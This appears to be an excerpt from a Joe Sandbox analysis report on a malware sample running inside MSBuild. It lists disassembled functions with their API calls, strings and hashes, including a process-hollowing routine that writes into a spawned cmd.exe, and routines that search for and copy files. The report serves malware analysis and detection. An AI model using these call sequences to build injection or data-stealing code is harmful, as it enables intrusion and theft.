Function 00411DBC Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 7e787e686dc414dee11f1da43bd5638d66c196ee038a40a879fc4d45a927ec00
Instruction ID: bf21393ab5a8fe934e7e47c1d037db09aa10e41c3ad2262e9a6d785215cd78c0
Opcode Fuzzy Hash: 7e787e686dc414dee11f1da43bd5638d66c196ee038a40a879fc4d45a927ec00
Instruction Fuzzy Hash: 9CF03AB1E1016DABDB15DF78DC909EEB7FCEB48204F0045BAB909D3281EA749F458B94

Function 00411D92 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: c785e1c56cc5dd1355e14f627ee0373bbc421026e3e3e1ef34d967437d0958bc
Instruction ID: 4d5d301e7642eb8bcabe02fa2709f808051272e3482dadb5ff4d38445e53d8c5
Opcode Fuzzy Hash: c785e1c56cc5dd1355e14f627ee0373bbc421026e3e3e1ef34d967437d0958bc
Instruction Fuzzy Hash: 56D05E31A00138578B5097A9FC044DEBB49CB817B5B005263FA6D9A2F0C265AD9242D8

Function 00412541 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SHFileOperationA.SHELL32(?), ref: 00412577

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: FileOperation
String ID:
API String ID: 3080627654-0
Opcode ID: 11d7e75e8fb048daadeff50fbe913edc7fb5e8de74ef351f238d313e6dfef050
Instruction ID: ef242af97a818274634bdf18eaf41cd9f3ea813bb85b2b5ad444d7661f99d088
Opcode Fuzzy Hash: 11d7e75e8fb048daadeff50fbe913edc7fb5e8de74ef351f238d313e6dfef050
Instruction Fuzzy Hash: CAE09AB0D0420E9FDF44EFE4D5152DDBAF8BF08308F40916AC115F3240E37442058BA9

Function 0041C477 Relevance: 1.3, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0041C488

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: fcb9899b317cc9ef91af5512159e616e2c3899848f5e788aef8f16214d9e351b
Instruction ID: c2638ddd63b5396af693f06652562c02e93d4509c9b8d8ca2e3964453f61446c
Opcode Fuzzy Hash: fcb9899b317cc9ef91af5512159e616e2c3899848f5e788aef8f16214d9e351b
Instruction Fuzzy Hash: 13210574200B10CFC320DF6ED485996B7F5FF4932471448AEEA8A8B722D776E881CB16

Function 00407EAE Relevance: 1.3, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00407EB5

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: cd808f50b226156c54d12c7445b6016a60ba6ba0c8715662d5550310cd1c8d18
Instruction ID: a2ed24522b90cf8d72a71430dfd18e5bb138dd64580460ce79602bb5834a96d0
Opcode Fuzzy Hash: cd808f50b226156c54d12c7445b6016a60ba6ba0c8715662d5550310cd1c8d18
Instruction Fuzzy Hash: EAE0EDB1A10108BFEB40DBA9D845A9EBBF8EF44254F1440BAE905E3281E670EE009B55

Non-executed Functions

Function 6CA76C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CA76CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CA76D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CA76D26

Part of subcall function 6CA7CA10: malloc.MOZGLUE(?), ref: 6CA7CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CA76D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CA76D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CA76D73
free.MOZGLUE(00000000), ref: 6CA76D80
CertGetNameStringW.CRYPT32 ref: 6CA76DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CA76DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CA76DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CA76DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CA76E10
CryptMsgClose.CRYPT32(00000000), ref: 6CA76E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CA76E34
CreateFileW.KERNEL32 ref: 6CA76EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CA76F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CA76F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CA7709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CA77103
free.MOZGLUE(00000000), ref: 6CA77153
CloseHandle.KERNEL32(?), ref: 6CA77176
__Init_thread_footer.LIBCMT ref: 6CA77209
__Init_thread_footer.LIBCMT ref: 6CA7723A
__Init_thread_footer.LIBCMT ref: 6CA7726B
__Init_thread_footer.LIBCMT ref: 6CA7729C
__Init_thread_footer.LIBCMT ref: 6CA772DC
__Init_thread_footer.LIBCMT ref: 6CA7730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CA773C2
VerSetConditionMask.NTDLL ref: 6CA773F3
VerSetConditionMask.NTDLL ref: 6CA773FF
VerSetConditionMask.NTDLL ref: 6CA77406
VerSetConditionMask.NTDLL ref: 6CA7740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CA7741A
moz_xmalloc.MOZGLUE(?), ref: 6CA7755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA77568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CA77585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CA77598
free.MOZGLUE(00000000), ref: 6CA775AC

Part of subcall function 6CA9AB89: EnterCriticalSection.KERNEL32(6CAEE370,?,?,?,6CA634DE,6CAEF6CC,?,?,?,?,?,?,?,6CA63284), ref: 6CA9AB94
Part of subcall function 6CA9AB89: LeaveCriticalSection.KERNEL32(6CAEE370,?,6CA634DE,6CAEF6CC,?,?,?,?,?,?,?,6CA63284,?,?,6CA856F6), ref: 6CA9ABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6CA772C8
(, xrefs: 6CA7768A
wintrust.dll, xrefs: 6CA772CD
SHA256, xrefs: 6CA76EC0

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 43eafba2f6d470ad39790568666b4d784b26e70d0230694911f61ef04d9a6348
Instruction ID: a90b010baf80108a5fb20fadabb873e599ad52468120568b2f8e0a11cfd1359c
Opcode Fuzzy Hash: 43eafba2f6d470ad39790568666b4d784b26e70d0230694911f61ef04d9a6348
Instruction Fuzzy Hash: 5152F475A003159FEB26DF24CC88BAA77B9FB49708F148199E509D7640DB30AEC5CFA1

Function 6CA764C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CA764DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CA764F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CA76505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CA76518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CA7652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CA7671C
GetCurrentProcess.KERNEL32 ref: 6CA76724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CA7672F
GetCurrentProcess.KERNEL32 ref: 6CA76759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CA76764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CA76A80
GetSystemInfo.KERNEL32(?), ref: 6CA76ABE
__Init_thread_footer.LIBCMT ref: 6CA76AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA76AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA76AF7

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CA76798
nvdxgiwrap.dll, xrefs: 6CA76513
nvd3d9wrap.dll, xrefs: 6CA76500
user32.dll, xrefs: 6CA76526
_etoured.dll, xrefs: 6CA764ED
detoured.dll, xrefs: 6CA764DA

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: bf04ba4927fcbc32791d90cbea37b195ca33ee7127c63e6d032f86bfd324a030
Instruction ID: a61ac5bc1842c927f824b6464b388f1683ff74b212fd1ad3b5bbc7e77ba8c36a
Opcode Fuzzy Hash: bf04ba4927fcbc32791d90cbea37b195ca33ee7127c63e6d032f86bfd324a030
Instruction Fuzzy Hash: 34F1C17490531A9FDB308F64CD48B9AB7B5BF49318F1882A9D809A7741D731AEC5CFA0

Function 00415B0B Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 179filestringmemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,?,?), ref: 00415B30
HeapAlloc.KERNEL32(00000000), ref: 00415B37
wsprintfA.USER32 ref: 00415B50
FindFirstFileA.KERNEL32(?,?), ref: 00415B67
StrCmpCA.SHLWAPI(?,00436A98), ref: 00415B88
StrCmpCA.SHLWAPI(?,00436A9C), ref: 00415BA2
CopyFileA.KERNEL32(?,?,00000001), ref: 00415C86

Part of subcall function 0041580D: _memset.LIBCMT ref: 00415845
Part of subcall function 0041580D: _memset.LIBCMT ref: 00415856
Part of subcall function 0041580D: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?,?), ref: 00415881
Part of subcall function 0041580D: lstrcatA.KERNEL32(?,?,?,?,?,?,?), ref: 0041589F
Part of subcall function 0041580D: lstrcatA.KERNEL32(?,?,?,?,?,?,?,?), ref: 004158B3
Part of subcall function 0041580D: lstrcatA.KERNEL32(?,?,?,?,?,?,?), ref: 004158C6
Part of subcall function 0041580D: StrStrA.SHLWAPI(00000000), ref: 0041596A

DeleteFileA.KERNEL32(?), ref: 00415CA9
wsprintfA.USER32 ref: 00415BC9

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

FindNextFileA.KERNEL32(?,?), ref: 00415CD8
FindClose.KERNEL32(?), ref: 00415CEC
lstrcatA.KERNEL32(?), ref: 00415D1A
lstrcatA.KERNEL32(?), ref: 00415D2D
lstrlenA.KERNEL32(?), ref: 00415D39
lstrlenA.KERNEL32(?), ref: 00415D56

Strings

%s\*, xrefs: 00415B4A
%s\%s, xrefs: 00415BC3
K_A, xrefs: 00415DE8

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Filelstrcpy$Findlstrlen$Heap_memsetwsprintf$AllocCloseCopyDeleteFirstNextProcessSystemTime
String ID: %s\%s$%s\*$K_A
API String ID: 2636950706-1624741228
Opcode ID: 3b8fc9a55eca9fbfea931e155c92c696c023584031aa7e372d314ca30068bdda
Instruction ID: e2c432640f52108aba4e6a181f3c646eb5d5ef822199c15cd4d1700da281ca33
Opcode Fuzzy Hash: 3b8fc9a55eca9fbfea931e155c92c696c023584031aa7e372d314ca30068bdda
Instruction Fuzzy Hash: D4713DB19002289BDF20EB60DD49ACD77B9AF45315F0004EAA609A3151EB76AFC5CF59

Function 0040F54A Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 130threadinjectionmemoryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040F57C
CreateProcessA.KERNEL32(C:\Windows\System32\cmd.exe,004365A7,00000000,00000000,00000001,00000004,00000000,00000000,?,?,00000000,00000000,00000000), ref: 0040F5A0
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 0040F5B2
GetThreadContext.KERNEL32(?,00000000), ref: 0040F5C4
ReadProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 0040F5E2
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040), ref: 0040F5F8
ResumeThread.KERNEL32(?), ref: 0040F608
WriteProcessMemory.KERNEL32(?,00000000,a-A,?,00000000), ref: 0040F627
WriteProcessMemory.KERNEL32(?,?,?,?,00000000), ref: 0040F65D
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 0040F684
SetThreadContext.KERNEL32(?,00000000), ref: 0040F696
ResumeThread.KERNEL32(?), ref: 0040F69F

Strings

a-A, xrefs: 0040F550, 0040F620
C:\Windows\System32\cmd.exe, xrefs: 0040F59B

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process$MemoryThread$Write$AllocContextResumeVirtual$CreateRead_memset
String ID: C:\Windows\System32\cmd.exe$a-A
API String ID: 3621800378-431432405
Opcode ID: 553f550da5b378d080edfb789d93bc307e5eea3081f8456d6af6f3d083069809
Instruction ID: 969287927d9098c3ca6ae76a841620f5e8bc9621787df7f5c89cd2a77204cec1
Opcode Fuzzy Hash: 553f550da5b378d080edfb789d93bc307e5eea3081f8456d6af6f3d083069809
Instruction Fuzzy Hash: 67413872A00208AFEB11DFA8DC85FAAB7B9FF48705F144475FA01E6161E776AD448B24

Function 0040CD37 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 298filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040CD5C
FindFirstFileA.KERNEL32(?,?), ref: 0040CD73
StrCmpCA.SHLWAPI(?,004374EC), ref: 0040CD94
StrCmpCA.SHLWAPI(?,004374F0), ref: 0040CDAE

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

lstrlenA.KERNEL32(0040D3B5,00436872,004374F4,?,0043686F), ref: 0040CE41
DeleteFileA.KERNEL32(?,0043750C,00436873,?,00437508,00437504,00437500,004374FC), ref: 0040D122
CopyFileA.KERNEL32(?,?,00000001), ref: 0040D136

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00416FE1: CreateThread.KERNEL32(00000000,00000000,00416F10,?,00000000,00000000), ref: 00417080
Part of subcall function 00416FE1: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00417088

FindNextFileA.KERNEL32(?,?), ref: 0040D23C
FindClose.KERNEL32(?), ref: 0040D250

Strings

%s\*.*, xrefs: 0040CD56

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$lstrcpy$Find$CloseCreatelstrcatlstrlen$AllocCopyDeleteFirstHandleLocalNextObjectReadSingleSizeThreadWaitwsprintf
String ID: %s\*.*
API String ID: 3967855609-1013718255
Opcode ID: 2a23031780d14b81995a46cfae8fffba31a8061c4f72f23e63b4613ff5d88b0a
Instruction ID: f4e6378bd0d3969c58ad41b7d73122550c7de77e7a7832b2d9eb470c3e8bd1bf
Opcode Fuzzy Hash: 2a23031780d14b81995a46cfae8fffba31a8061c4f72f23e63b4613ff5d88b0a
Instruction Fuzzy Hash: 8ED1CA71A4112DABDF20FB25DD46ADD77B5AF44308F4100E6B908B3152DA78AFCA8F94

Function 6CA8D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CAEE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6CA9D1C5), ref: 6CA8D4F2
LeaveCriticalSection.KERNEL32(6CAEE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6CA9D1C5), ref: 6CA8D50B

Part of subcall function 6CA6CFE0: EnterCriticalSection.KERNEL32(6CAEE784), ref: 6CA6CFF6
Part of subcall function 6CA6CFE0: LeaveCriticalSection.KERNEL32(6CAEE784), ref: 6CA6D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6CA9D1C5), ref: 6CA8D52E
EnterCriticalSection.KERNEL32(6CAEE7DC), ref: 6CA8D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA8D6A6
LeaveCriticalSection.KERNEL32(6CAEE7DC), ref: 6CA8D712
LeaveCriticalSection.KERNEL32(6CAEE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6CA9D1C5), ref: 6CA8D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA8D7EA

Strings

<jemalloc>, xrefs: 6CA8D827
: (malloc) Error initializing arena, xrefs: 6CA8D82C

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

